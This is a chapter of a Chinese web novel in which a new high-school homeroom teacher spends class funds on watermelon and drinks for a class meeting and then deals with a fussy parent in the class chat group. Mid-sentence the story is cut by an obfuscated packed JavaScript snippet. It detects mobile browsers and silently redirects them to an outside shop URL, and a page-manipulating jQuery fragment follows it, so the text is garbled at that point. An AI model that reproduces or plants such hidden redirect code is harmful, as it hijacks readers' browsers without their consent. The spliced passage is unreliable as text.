于是,温云旗特地网购了一本记账本,准备交予生活委员(管钱的,但现在还没选出来)使用,一笔笔把账记上。 并且,她还从大紫薯上找到一个班级记账的Excel模板,让生活委员及时登记成电子档。 而今天的班会开支,就是她事先征求过家长和学生的意见。 每个人一百块班费,整个班就是五千块,这笔钱,温云旗也和家长学生们打了预防针,多退少补。 现在才开学,自然是省着点花。 至于学生间呼声很高的奶茶,温云旗直接pass,说不健康,虽然下一秒就有学生提出抗议,说:“老师,既然奶茶那么不健康,为什么军训的时候我看你天天喝!” 温云旗很淡定:“因为我亚健康。” 回应她的是学生们的一片嘘声。 她是个既民主又独裁的新手班主任:“就一百块班费,得用四五个月,我们要省着点花。” “这次预算只有十块左右,奶茶没有,给你们买一点可乐雪碧自己挑喜欢的喝,另外还有西瓜。” 说到可乐雪碧,底下有人不乐意:“我不爱喝汽水。” 提到西瓜,倒是一阵欢呼,全票通过。 害,就没有人不喜欢西瓜的。 对于极少数不愿意喝汽水的,温云旗说给买橙汁。 众口难调是这样的,所以民主时刻到最后,都以独裁手段告终。 独裁虽然会招致一点怨言,但对决策来说非常管用。 到了水果店,西瓜有好几种,黑美人、麒麟瓜、沙漠瓜…… 黑美人最贵,麒麟瓜水多且甜,沙漠瓜口感沙沙的,温云旗和葛影直接要的麒麟瓜,三块五一斤,一个瓜十来斤左右,老板说一个瓜大概够十个人吃,她算了算,和葛影一人要了六个。 物资嘛,宁可多买不敢少买。 另外考虑到有学生可能真的不爱吃水果,她们还选了几个芒果和火龙果。 嗯没错,她们女孩子当班主任就是很细心。 买瓜时,她们两人拜托老板把水果做成果切再送到学校门卫室,女老板一口答应,但多要了五块钱。 温云旗和葛影也没拒绝。 结果等到了男老板过来店里,知道女老板答应后,还当着她俩的面冲老婆发脾气。 她俩在旁边围观了一会吵架,才听明白原来男老板是不愿意送。 学校离这才一公里,怎么会有人连开车都不愿意。 不过两个中年老口子也就是拌了会嘴,葛影看男老板骂骂咧咧拿着刀开始杀瓜,就拉着温云旗走了。 班干部现在还没选,温云旗什么事情只能亲力亲为,和葛影去另一条的量贩零食店看汽水。 不逛不知道,一逛喜一跳。 进店看价格才发现这种量贩零食店果然很便宜,平常在超市买三块乃至三块五的可乐雪碧,在这里直接便宜六毛钱,只要两块四,难怪它家广告都打的是“省钱就逛零食很x”。 一件汽水二十四瓶,她俩各要了一件可乐一件雪碧,外加一瓶大瓶的橙汁,消费不到一百二。 另一人买了一包薯片,这个更便宜,才一块八。 结完账,同样拜托店员帮忙送到校门口后,她和葛影又回到了水果店,两个老板手脚都很麻利,十二个瓜,平均三分钟一个,旁边已经摆好了好些盒果切。她俩沉浸式看了会切水果,帮着老板把水果提上小货车,骑着小电驴跟在小货车后面准备进学校。 刚到校门口,她就开监控摇人:“孩子们,到校门口来拿水果。” 这次倒有七八个男生自告奋勇。 毕竟有水果钓着呢。 温云旗班上直接来了十几个人,葛影班学生在后,他们就顺手帮葛影拿了些上去。温云旗逮着这一点一路上使劲夸:“好孩子啊,真懂事,真有礼貌,你们是这个。” 她回过头比了个大拇哥。 不多夸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975932|192847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夸,以后怎么好使唤人干活啊。 等回到教室,学生们看到实物又是一阵欢呼,她也不多说,直接找了几个前排的学生把水果零食饮料都分发下去。 一大盒西瓜,前后桌六个人分吃一盒,这时候座位还没排,有男生女生刚好坐一块且不熟的,女生不好意思吃,男生也不好意思吃,互相看看彼此,又求助似地看向讲台上的温云旗,很是呆萌。 温云旗接收到信号,下去鼓励她们:“都是同学,有什么不好意思的。西瓜甜着呢,不快点吃可不新鲜了哦。” 幸好西瓜的诱惑力够大,男男女女又互相对视几眼,终于忍不住眼前汁水丰沛的诱惑,不管什么熟与不熟,青春期男女的羞涩,拿着叉子就开吃。 温云旗这个时候也没有料到,这么羞涩的男生女生间,竟然还诞生了一对十分青涩且低调的小情侣。 当然,这也是后话了。 趁学生们大口吃瓜,她赶紧对着全员吃瓜的班级拍了个大合照,上传到家长群的相册小程序。军训的时候她利用群相册小程序就建了一个共享相册,里面都是学生这几天辛苦锻炼的点点滴滴。 毕竟很多学生都是第一次住校,家长不放心也是正常,真正关心学生的家长,很难有几个忘崽的。 大合照上传,她还很矫情地配文:“军训的结束,意味着新学期正式的开始,从今天起,她们就都是新鲜的高一学生了,希望每个学生都能健康快乐地成长。” 家长们都爱划水,一下就多了五六个赞。 温云旗心里美滋滋的。 但下一刻,她上扬的嘴角就垮了下来。 吴梓涵家长发来一条语音,用的方言,无法转文字识别,她只能走到走廊上外放耐心听完:“老师,我是梓涵奶奶。我看其他同学桌上都有一瓶喝的,我们家梓涵怎么没有?” 吴梓涵这个名字,温云旗看花名册的时候,和葛影提过一嘴:“哎我们班有个叫梓涵的欸。” “老师,我们家梓涵怎么没有?”葛影当时还拿这个梗做玩笑。 万万没想到,“梓涵没有”虽迟但到。 梓涵有没有她不知道,但“梓涵没有”是有的。 此刻温云旗如临大敌,她赶紧假装在教室前后巡视,路过吴梓涵位置时,顺嘴一问:“吴梓涵,你饮料呢?同学没发给你吗?” 吴梓涵正吃瓜吃得上头:“啊?” “我有啊!”他指指地上一个被捏扁的可乐罐:“我已经喝完了。” 温云旗松了口气,幸好梓涵有。 也是,这么大个人了,别人都有他没有,他不会问发东西的人要吗? 温云旗放心了,但下一刻,立马对他凶道:“谁教你这么乱丢垃圾的!捡起来丢垃圾桶里去!” 吴梓涵耸耸肩,捡了易拉罐老老实实往教室后门的垃圾桶里丢了。 温云旗则回到讲台开始在群里回复吴梓涵家长:“梓涵奶奶,梓涵有的,一共有可乐雪碧橙汁三种饮料,他选的可乐,已经喝完了。” 吴梓涵家长发了个“好的”。 然而下一刻,温云旗又收到一条艾特,还是吴梓涵家长,不过,这次是妈妈。 吴梓涵妈妈:“老师,既然有橙汁还是让梓涵喝橙汁吧,可乐那些汽水对牙齿不好。但他既然喝了就算了,麻烦老师帮忙说说他。” …… 温云旗十分无语地在家长群回复了一个“好的”。